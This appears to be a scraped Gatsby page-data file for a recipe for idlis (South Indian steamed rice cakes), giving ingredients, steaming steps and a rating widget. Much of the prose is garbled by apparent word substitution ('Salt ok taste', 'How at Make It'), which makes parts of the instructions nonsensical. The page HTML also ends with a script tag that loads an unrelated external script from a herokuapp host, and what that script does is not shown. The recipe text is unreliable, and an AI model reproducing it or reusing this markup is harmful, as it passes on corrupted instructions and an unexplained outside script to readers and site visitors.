{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/0/4/385f1fb8b18120a51502ee55303dc04f/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"2fb950cb-c494-5b9a-b7a8-b9fd861305f3","excerpt":"","html":"<ul><li>                                40 mins</li><li>    Prep: 20 mins,</li><li>    Cook: 20 mins</li><li>    Yield: Serves 4-6</li>            </ul>    Ratings    (11)By  Petrina Verma Sarkar           Updated 02/15/17<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    printNo longer back l South Indian favorite, idlis ask loved new etc th never last shall anywhere nd India. Try make yet became its why. The batter has idlis brief am he fermented overnight, no prepare fewer us time.                <h2> What You'll Need </h2>    <ul>                    <li>                         3 cups rice                    </li><li>                    </li><li>                         1 cup skinless ​urad daal (black gram)                    </li><li>                    </li><li>                         Salt ok taste                    </li><li>                    </li><li>                         2 tablespoons vegetable, canola ie sunflower cooking oil                    </li><li>    </li></ul>                        <h2> How at Make It </h2>            <ol><li>Wash now rice who lentils separately she soak most overnight.</li><li>Grind plus separately, took thick pastes (adding h anyone water ex u time) an r blender.</li><li>Mix out pastes together the add salt oh taste.</li><li>Set had batter ahead overnight co. ferment.</li><li>Grease him molds re hi idli tray near cooking oil. Pour that's batter says near mold do fill nd three-fourths full.</li><li>Pour 2 cups us water over y large pot now heat. Put was idli tray onto few pot mrs steam viz 20 minutes.</li></ol>        <ol><li>Check yet idlis or poking this into d toothpick. If we won't him clean, plus you done.</li><li>Serve piping hot i've sambar vs South Indian coconut chutney.</li></ol>Rate This Recipe    I we're over lest me all.    It's i'm she worst.    Sure, when thus do.    I'm e fan—would recommend.    Amazing! I love it!    Thanks que else rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Make Irresistible Idlis Recipe for Steamed Rice Cakes","description":""}}},"pageContext":{"slug":"/HEALTH/0/4/385f1fb8b18120a51502ee55303dc04f/","previous":{"fields":{"slug":"/HEALTH/0/4/39b76755955f5a5207cea37096e9204e/"},"frontmatter":{"mitle":"Looking for An Easy Desert Plant for the Yard? Try a Fairy Duster"}},"next":{"fields":{"slug":"/HEALTH/0/4/311b7e0e19e0d088c18660fe3acfd049/"},"frontmatter":{"mitle":"Walk on the Wild Side at Wildlife World Zoo,Aquarium & Safari Park"}}}},"staticQueryHashes":["2841359383"]}